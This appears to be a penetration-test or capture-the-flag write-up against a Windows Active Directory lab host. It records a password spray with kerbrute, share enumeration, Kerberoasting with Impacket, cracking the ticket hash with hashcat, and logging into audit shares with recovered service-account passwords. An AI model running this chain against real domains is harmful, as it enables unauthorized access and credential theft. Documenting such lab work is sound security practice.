

Report

General Information

IP address	10.15.0.107
Open Ports	53,88,135,139,389,445,464,593,636,3268,3269,3389,5357,5985,

Report

▼ Enumerate users/hash and Crack hash

```
> nmap -A -sVC 10.15.0.107
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-12 15:45 +0500
Nmap scan report for 10.15.0.107
Host is up (0.037s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           (generic dns response: SERVFAIL)
|_ fingerprint-strings:
|_   DNS-SD-TCP:
|_     _services
|_     _dns-sd
|_     _udp
|_   local
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2025-12-12 18:45:33Z)
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp    open  ldap            Microsoft Windows Active Directory LDAP (Domain: NEXUS.local, Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
593/tcp    open  tcpwrapped
636/tcp    open  ldap            Microsoft Windows Active Directory LDAP (Domain: NEXUS.local, Site: Default-First-Site-Name)
3268/tcp   open  tcpwrapped
3269/tcp   open  tcpwrapped
3389/tcp   open  ms-wbt-server   Microsoft Terminal Services
|_ ssl-date: 2025-12-12T18:46:03+00:00; +7h59m59s from scanner time.
|_ ssl-cert: Subject: commonName=WK100.NEXUS.local
|_ Not valid before: 2025-12-10T22:36:17
|_ Not valid after: 2026-06-11T22:36:17
|_ rdp-ntlm-info:
|_   Target_Name: NEXUS
|_   NetBIOS_Domain_Name: NEXUS
|_   NetBIOS_Computer_Name: WK100
|_   DNS_Domain_Name: NEXUS.local
|_   DNS_Computer_Name: WK100.NEXUS.local
|_   DNS_Tree_Name: NEXUS.local
|_   Product_Version: 10.0.20348
|_ System time: 2025-12-12T18:45:53+00:00
5357/tcp   open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ _http-title: Service Unavailable
|_ _http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp   open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ _http-server-header: Microsoft-HTTPAPI/2.0
|_ _http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
```

nmap -A -sVC 10.15.0.107


```
> kerbrute passwordspray -d NEXUS.local --dc 10.15.0.107 user.list password1

kerbrute

Version: dev (n/a) - 12/12/25 - Ronnie Flathers @ropnop

2025/12/12 17:08:17 > Using KDC(s):
2025/12/12 17:08:17 > 10.15.0.107:88

2025/12/12 17:08:17 > [+] VALID LOGIN WITH ERROR: b.cooper@NEXUS.local:password1 (Clock skew is too great)
2025/12/12 17:08:17 > Done! Tested 16 logins (1 successes) in 0.401 seconds
```

kerbrute passwordspray -d NEXUS.local --dc 10.15.0.107 user.list password1

```
> sudo crackmapexec smb 10.15.0.107 -u b.cooper -p password1 --shares
CrackMapExec is deprecated and has been replaced by NetExec.
This binary is just an alias for netexec command.

SMB 10.15.0.107 445 WK100 [*] Windows Server 2022 Build 20348 x64 (name:WK100) (domain:NEXUS.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.15.0.107 445 WK100 [*] NEXUS.local\b.cooper:password1
SMB 10.15.0.107 445 WK100 [*] Enumerated shares
SMB 10.15.0.107 445 WK100 Share Permissions Remark
SMB 10.15.0.107 445 WK100 ADMIN$ Remote Admin
SMB 10.15.0.107 445 WK100 Audit Security Audit Files
SMB 10.15.0.107 445 WK100 Audit$ Security Audit Files (Hidden)
SMB 10.15.0.107 445 WK100 C$ Default share
SMB 10.15.0.107 445 WK100 IPC$ Remote IPC
SMB 10.15.0.107 445 WK100 NETLOGON Logon server share
SMB 10.15.0.107 445 WK100 Public Public Share
SMB 10.15.0.107 445 WK100 SYSVOL Logon server share
```

sudo crackmapexec smb 10.15.0.107 -u b.cooper -p password1 --shares

```
> ./GetUserSPNs.py -dc-ip 10.15.0.107 NEXUS.local/b.cooper -request-user svc_backup
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-----
BACHUPEXEC/backup.NEXUS.local svc_backup 2025-12-12 13:16:52.466865 2025-12-13 01:33:24.810365

[!] CCache file is not found. Skipping...
$krb5tgt$235=svc_backup.NEXUS.LOCAL$NEXUS.local/svc_backup%$c84760438a0708ed7642alc2c3513c4154ce2f3f1d05217cd474a01f8b30848faea8994b6dcdede209abf28dd0666429c5b6c72e8e5c9886452b2640eb3
278c169343adb2532416034113d7fb0e2205735afdb51719bef07ebb511465a2a15dcebd9127898c1def7fe404b7ca9a8ff7250fb8f659ec936c3f6d748743085a45e1825c792b984ca828c265c153f7bb3410aafccdd958ebc64
c173b1b9c23fa84731f4b1060c1f4252a6068ee95c9a497d40fbacac1da50f43d3d5363ede2daf9cb87ea072524c703f0f06e6f0827b883b9426e990851db6b7372b5457148ebb714a149e2b6c99d9832d4f1ade6633875e40ad21
0a31dcbe6340c06e4f170723f6f84cf05a02e01a4a13cbce98e4201b6ed1362d740a9f0f978e8252cbf0a6afef49c3e3c6fa2958ee803cc3e1139cbce40159196160d028c187a0090808e0415a832b0f107513a62f4a6a1
826ede5f0eaaecdbec175146420f0e6fa6d09cd915701d10e33f899e3e3b6213489e6490acda8371203109cf853e54fcec3179965bec4095e912b83dfe10d5765a19ff35b13d36d14d5ea042b13c6cc05f20a24dd59052
6b080490173229768387bc38826d318bbf61b0022e97c3926ebbb2386a172d01105b268041f39bf95e54a70733166b0a17b966a320cfe691cfebdcd3e0d88d0d451c72b470135ceaacd2a8928c14dd0dc0993c682c0dec5e6d77
dc7aa2a94a08f3b0fa784b11420add57ffdf5ef97706603647ba639f7c35254dddb3443e5dda3387ae90a2999a2f8e9f68359745ad5faae077591f89701b4455ff26bc6f480d7ea229d6f92b1b57f4a58626c2bd0fa840999296ad388
ede7072912f587335c5fbf08e3ad6b7821e87067e6b2b12f7bedfeaba532e5a1297ef0d5a0f22c5af9dddf7d6f818c99b72a201fc55ff257b86adc71e478414f4be6ce287a78d7ed490d79b01ae64900b2fa421b3f7d5699272af9
551808b06c760591dcafbbae237e55c2f8cf2a3deb4b109010f13a66ef0c2ec9616bf70a0a8248bc7e599975af090c5f516dd42304ddc3cd75209fde75507789b9cf4253f676f1074445abc7bda69ac6d2ee284a0e51a7
0a5328c0267e040f3154067218d0460107c3b16310b37d6d2ee40c0606b16a1630f08c4078a6691e5d28e601c4cdded08aef4905d5152092b5ca5839728fa774cf1577063b99c1b532ba04066e9e188a42b2b9d28e64dede68
6457964dc18718069e6140c4b15f979f0d690ab0201a608c34724a09da44a28b0bd9a42d4d437637a87e2e9e4c9677b04f85fba3bdc257a52b0d3888d52cce66906a8048875bc500ee028fa6961dd62ff38cb710ead276df3708
24fa171f73012d43bd2a2ae8593d0e581d97f3cb2cf999d15bc77ece9f13aebde98f5005c6cad5cea673de7c21a051e84f63daee1fb7d8f46e
```

```
Applications Places System Fri Dec 12, 07:02 VPN - 10.10.15.238 [57.8 ms]
Parrot Terminal
File Edit View Search Terminal Help
318bbf63b0022e97c3926ebbb2386a172d01105b268041f39bf95e54a70733166b0a17b960a320cfe691cfebd3cd3e0d888d0d451c72b470135eceaacd2a8928c14d0d
cb993c682c0dec5e6d77dc7aa2a94a08f3b0fa784b11420add57ffdf97706603647ba639f7c35254ddb3443e5dda3387ae90a2999a2f8e9f68359745ad5faae07759
1f89701b4455ff26bc6f480d7ea229d6f92b1b57f4a58626c2bd0fa84099296ad388ede7072912f587335cf5bf08e3ad6bf821e87067e6b2b12f7bedfeaba532e5a129
7ef0d5a0f22c5af9ddd7d6f818c99b72a201fc55ff257b86adc71e478414fbee6ce287a78d7ed490d79b01ae64900b2fa421b3f7d5699272afb9551080b06c76b591bc
afbaea2462ea6e237e55c2f8cf2a3deb4b109010f13a06ef0c2ec9016bfff70a0a82448c7e599975afd90c5f516d423004dc3cd75209fde755d7789bcf4253f676f1074
445abc7bda69ac6d2ee284a0e531a70a63286cd267e640f3164867218d8046b107c3b16318b37d6d2eefdc40606eb16a1630f08c4d758a6691e5d2ec6e1caccde08ae
f495d515209285eea588728fa474cf1577bd3b9cc1b532b484966e9e188d42b2b9d28e64cdec686457964e4c18718069e6140c4b15f979ff0d690ab0201a6e0c34724a
09da44a20b0bd9a42dfd437637e87e2e9e4c9677b94f85fbc3bdc257a52b0d3888d52ece66906a8048875bc500ee028fa6961dd62ff38cb710eed276df370824fa171f
73012d43bd2a2ae8593d0e5581d97f3cb2cf999d15bc77ece5f13aebde98f5005c6cad5cea673de7c21a051e84f63daeef1b7d8f46e:princess1

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target.....: $krb5tgs$23$*svc_backup$NEXUS.LOCAL$NEXUS.local/svc...d8f46e
Time.Started.....: Fri Dec 12 06:58:49 2025 (0 secs)
Time.Estimated...: Fri Dec 12 06:58:49 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#2.....: 783.0 kH/s (1.63ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 2048/14344385 (0.01%)
Rejected.....: 0/2048 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Menu [VNC config] Parrot Terminal
```

hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt

```
> cat password.bak
srv_sqlserver:trustno1
srv_fileserver:coldplay14
srv_webservice:michelle1
srv_backup:princess1
```

srv_sqlserver:trustno1
srv_fileserver:coldplay14
srv_webservice:michelle1
srv_backup:princess1

▼ Shell

```

> smbclient \\\10.15.0.107/Audit$ -U svc_fileserver
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\svc_fileserver]:
Try "help" to get a list of possible commands.
smb: \> dir
.
..
2024_Q1_Review
2024_Q2_Review
2024_Q3_Review
Compliance_Reports
Memory_Dumps
Network_Scan_Results
Password_Audit
Security_Assessment
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:29 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 13:17:21 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:25 2025

12946687 blocks of size 4096. 9635873 blocks available
smb: \> exit
> smbclient \\\10.15.0.107/Audit -U svc_fileserver
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\svc_fileserver]:
Try "help" to get a list of possible commands.
smb: \> dir
.
..
2024_Q1_Review
2024_Q2_Review
2024_Q3_Review
Compliance_Reports
Memory_Dumps
Network_Scan_Results
Password_Audit
Security_Assessment
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:29 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 13:17:21 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:25 2025
D      0  Fri Dec 12 10:57:25 2025

12946687 blocks of size 4096. 9635873 blocks available
smb: \> get *
NT_STATUS_OBJECT_NAME_INVALID opening remote file \*
smb: \>

```

```

> ls
Downloads
findings.txt
Games
GetUserSPNs.py
lsass.DMP
password
password.bak
Pictures
policy_review.txt
README.txt
recommendations.txt
SOC2_Status.txt
system_diagnostic_DC01.zip
user.lst

```


